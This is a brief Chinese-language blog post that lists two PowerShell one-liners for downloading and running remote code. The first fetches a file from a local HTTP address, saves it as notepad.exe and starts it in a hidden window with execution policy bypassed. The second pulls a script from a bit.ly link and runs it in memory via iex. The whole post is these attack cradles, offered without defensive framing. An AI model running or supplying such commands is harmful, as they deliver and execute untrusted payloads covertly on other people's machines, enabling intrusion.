websec80

  博客园  :: 首页  :: 新随笔  :: 联系 ::  :: 管理

远程下载文件到本地并执行
cmd.exe /c powershell.exe -ExecutionPolicy bypass -noprofile -windowstyle hidden (new-object system.net.webclient).downloadfile('http://127.0.0.1:8089','notepad.exe');start-process notepad.exe

远程执行ps1脚本
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"

posted on 2021-01-30 14:11  websec80  阅读(891)  评论(0)    收藏  举报